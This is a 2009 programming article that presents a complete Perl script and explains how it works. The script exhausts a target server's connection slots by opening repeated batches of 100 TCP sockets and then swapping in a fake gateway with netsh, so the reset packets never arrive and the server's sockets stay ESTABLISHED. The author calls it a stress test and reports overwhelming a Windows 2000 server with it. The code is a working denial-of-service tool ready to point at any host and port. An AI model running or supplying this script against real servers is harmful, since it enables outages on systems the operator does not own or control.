Introduction
Does your Server handle idle connections properly? Does it handle multiple connections from the same IP address? Connection time-outs help reduce the loss of processing resources consumed by idle connections. When you enable connection time-outs, IIS enforces the time-outs at the connection level. IIS/Apache and most HTTP servers are pretty secure but there are many atypical servers which are not and could be prone to malicious connections.
This script is useful for generating ESTABLISHED idle connections with a server/port.
Background
I ran this script against my win2k server and it really got bogged down with 3000 open connections while the script used a little memory.
I also tested this against my winXP IIS server which refused connections after just 10 established sockets. I terminated the server stress test early as I'm not sure how my ISP would handle it or the consequences...
I'm sure under Linux, one could play with IPtables or maybe create raw packets to intentionally not send [RST]s. But, under windows, I couldn't find anything.
Using the Code
For example, here's how it generally works. It calls a windows tool:
netsh interface ip set address name="Wireless Network Connection"
static 192.168.1.4 255.255.255.0 1.1.1.1 1
which would setup a fake gateway of 1.1.1.1, thus closing all my local perl sockets, which generated the typical [RST] packets but they couldn't notify the target server because the gateway was fake. Next, I'd reopen the gateway:
netsh interface ip set address name="Wireless Network Connection"
static 192.168.1.4 255.255.255.0 192.168.1.1 1
and then generate a 100 new open sockets and repeat the process.
This script stops any client-to-server http [RST, ACK] packets, which keeps the server sockets in an ESTABLISHED state. The script below opens 100 sockets to the target server 127.0.0.1 on port 80, closes them locally, and repeats it over...
#!/usr/bin/perl -w
# Generates ESTABLISHED idle connections on the target IP/port.
use IO::Socket;
use Thread;
use Win32::OLE qw(in);
# --- SCRIPT CONFIGURATION ---
my $host="127.0.0.1";
my $port=80;
# --- END CONFIGURATION ---
my $ip="";
my $gateway="";
my $fake_gateway="1.1.1.1";
my $mask="";
my $adpater="";
print "Getting local IP, Gateway, and Subnet Mask.\n";
$object=Win32::OLE->GetObject('winmgmts:{impersonationLevel=impersonate}!//.');
foreach my $nic(in$object->InstancesOf('Win32_NetworkAdapterConfiguration')){
next unless $nic->{IPEnabled};
$ip=@{$nic->{IPAddress}}[0];
$gateway=@{$nic->{DefaultIPGateway}}[0];
$mask=@{$nic->{IPSubnet}}[0];
print "$ip $gateway $mask\n";
last;
}
print "Getting Ethernet Adapter Name.\n";
$objWMI = Win32::OLE->GetObject("winmgmts://./root/cimv2");
$colNAs = $objWMI->InstancesOf('Win32_NetworkAdapter');
foreach my $objNA (in $colNAs){
next unless $objNA->{NetEnabled};
$adapter=$objNA->NetConnectionID;
print "$adapter\n";
last;
}
while (1) {
for ($n=0;$n<=100;$n++){
$thr=new Thread\&connect;
$thr->detach;
$t++;
print "Connection: $t\n";
# Sleep 0.5 seconds...
select(undef, undef, undef, 0.5);
}
print "\nDisabling Gateway...\n";
system("netsh interface ip set address name=\"$adapter\"
static $ip $mask $fake_gateway 1");
sleep 5;
print "\nEnabling Gateway....\n";
system("netsh interface ip set address name=\"$adapter\" static $ip $mask $gateway 1");
sleep 5;
}
sub connect{IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$port);}
Points of Interest
This Perl script can identify the current enabled NIC card and extract such things as NetConnectionID, IP address, Gateway and Subnet Mask. Plus, it can use these to invoke netsh.exe to alter the NIC on-the-fly. Pretty cool! Thanks.
History
- 16th September, 2009: Initial post